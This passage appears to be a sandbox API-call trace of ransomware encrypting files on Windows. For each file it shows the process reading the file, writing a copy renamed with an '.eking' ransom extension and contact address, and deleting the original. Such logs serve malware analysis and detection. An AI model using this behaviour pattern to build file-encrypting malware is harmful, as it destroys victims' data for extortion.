"c:\\bootsect.bak.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x26, hTemplateFile=0x0) returned 0x2bc [0276.073] ReadFile (in: hFile=0x29c, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x2000, lpOverlapped=0x0) returned 1 [0276.075] WriteFile (in: hFile=0x2bc, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x2010, lpOverlapped=0x0) returned 1 [0276.076] WriteFile (in: hFile=0x2bc, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0xf2, lpOverlapped=0x0) returned 1 [0276.076] CloseHandle (hObject=0x29c) returned 1 [0276.076] CloseHandle (hObject=0x2bc) returned 1 [0276.076] DeleteFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0276.077] SetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", dwFileAttributes=0x27) returned 1 [0276.078] ResetEvent (hEvent=0x2a4) returned 1 [0276.078] SetEvent (hEvent=0x2a8) returned 1 [0276.078] CreateFileW (lpFileName="\\\\?\\C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.078] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0276.309] ResetEvent (hEvent=0x2a4) returned 1 [0276.309] SetEvent (hEvent=0x2a8) returned 1 [0276.310] CreateFileW (lpFileName="\\\\?\\C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.310] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0276.312] ResetEvent (hEvent=0x2a4) returned 1 [0276.312] SetEvent (hEvent=0x2a8) returned 1 [0276.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\3dftp.exe" (normalized: "c:\\program files\\common files\\3dftp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0276.313] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=80384) returned 1 [0276.313] CloseHandle (hObject=0x2ec) returned 1 [0276.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\3dftp.exe" (normalized: "c:\\program files\\common files\\3dftp.exe")) returned 0x20 [0276.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\3dftp.exe" (normalized: "c:\\program files\\common files\\3dftp.exe")) returned 0x20 [0276.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\3dftp.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\3dftp.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\3dftp.exe" (normalized: "c:\\program files\\common files\\3dftp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0276.314] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0276.314] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0276.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\3dftp.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\3dftp.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2f0 [0276.315] ReadFile (in: hFile=0x2ec, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x13a00, lpOverlapped=0x0) returned 1 [0276.321] WriteFile (in: hFile=0x2f0, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x13a10, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x13a10, lpOverlapped=0x0) returned 1 [0276.324] WriteFile (in: hFile=0x2f0, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0xf2, lpOverlapped=0x0) returned 1 [0276.324] CloseHandle (hObject=0x2ec) returned 1 [0276.324] CloseHandle (hObject=0x2f0) returned 1 [0276.324] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\3dftp.exe" (normalized: "c:\\program files\\common files\\3dftp.exe")) returned 1 [0276.328] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0276.329] ResetEvent (hEvent=0x2a4) returned 1 [0276.329] SetEvent (hEvent=0x2a8) returned 1 [0276.329] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0276.330] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=15984) returned 1 [0276.330] CloseHandle (hObject=0x2ec) returned 1 [0276.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 0x20 [0276.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 0x20 [0276.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.330] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0276.331] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0276.332] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0276.332] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2f4 [0276.333] ReadFile (in: hFile=0x2ec, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x3e70, lpOverlapped=0x0) returned 1 [0276.335] WriteFile (in: hFile=0x2f4, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x3e80, lpOverlapped=0x0) returned 1 [0276.336] WriteFile (in: hFile=0x2f4, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0xf2, lpOverlapped=0x0) returned 1 [0276.337] CloseHandle (hObject=0x2ec) returned 1 [0276.337] CloseHandle (hObject=0x2f4) returned 1 [0276.337] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 1 [0276.343] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0276.344] ResetEvent (hEvent=0x2a4) returned 1 [0276.344] SetEvent (hEvent=0x2a8) returned 1 [0276.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\icq.exe" (normalized: "c:\\program files\\common files\\icq.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0276.345] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=80384) returned 1 [0276.345] CloseHandle (hObject=0x2f0) returned 1 [0276.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\icq.exe" (normalized: "c:\\program files\\common files\\icq.exe")) returned 0x20 [0276.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\icq.exe" (normalized: "c:\\program files\\common files\\icq.exe")) returned 0x20 [0276.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\icq.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\icq.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\icq.exe" (normalized: "c:\\program files\\common files\\icq.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0276.346] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0276.346] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0276.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\icq.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\icq.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2f4 [0276.347] ReadFile (in: hFile=0x2f0, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x13a00, lpOverlapped=0x0) returned 1 [0276.595] WriteFile (in: hFile=0x2f4, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x13a10, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x13a10, lpOverlapped=0x0) returned 1 [0276.598] WriteFile (in: hFile=0x2f4, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0xe2, lpOverlapped=0x0) returned 1 [0276.598] CloseHandle (hObject=0x2f0) returned 1 [0276.598] CloseHandle (hObject=0x2f4) returned 1 [0276.599] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\icq.exe" (normalized: "c:\\program files\\common files\\icq.exe")) returned 1 [0276.602] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0276.602] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=21184) returned 1 [0276.602] CloseHandle (hObject=0x2f4) returned 1 [0276.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x20 [0276.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x20 [0276.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.609] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0276.609] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0276.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x300 [0276.616] ReadFile (in: hFile=0x2d8, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x52c0, lpOverlapped=0x0) returned 1 [0276.623] WriteFile (in: hFile=0x300, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x52d0, lpOverlapped=0x0) returned 1 [0276.624] WriteFile (in: hFile=0x300, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x122, lpOverlapped=0x0) returned 1 [0276.625] CloseHandle (hObject=0x2d8) returned 1 [0276.625] CloseHandle (hObject=0x300) returned 1 [0276.625] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 1 [0276.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0276.627] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=19136) returned 1 [0276.627] CloseHandle (hObject=0x300) returned 1 [0276.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x20 [0276.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x20 [0276.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0276.628] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0276.628] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0276.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2d8 [0276.629] ReadFile (in: hFile=0x300, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x4ac0, lpOverlapped=0x0) returned 1 [0276.646] WriteFile (in: hFile=0x2d8, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x4ad0, lpOverlapped=0x0) returned 1 [0276.648] WriteFile (in: hFile=0x2d8, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x122, lpOverlapped=0x0) returned 1 [0276.649] CloseHandle (hObject=0x300) returned 1 [0276.649] CloseHandle (hObject=0x2d8) returned 1 [0276.649] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 1 [0276.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.652] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=11616) returned 1 [0276.652] CloseHandle (hObject=0x2d8) returned 1 [0276.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x20 [0276.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x20 [0276.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.652] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.653] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0276.653] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0276.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x300 [0276.654] ReadFile (in: hFile=0x2d8, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x2d60, lpOverlapped=0x0) returned 1 [0276.668] WriteFile (in: hFile=0x300, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x2d70, lpOverlapped=0x0) returned 1 [0276.669] WriteFile (in: hFile=0x300, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x122, lpOverlapped=0x0) returned 1 [0276.670] CloseHandle (hObject=0x2d8) returned 1 [0276.670] CloseHandle (hObject=0x300) returned 1 [0276.670] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 1 [0276.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0276.907] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=19136) returned 1 [0276.907] CloseHandle (hObject=0x300) returned 1 [0276.907] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x20 [0276.907] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x20 [0276.907] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0276.908] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0276.908] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0276.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, 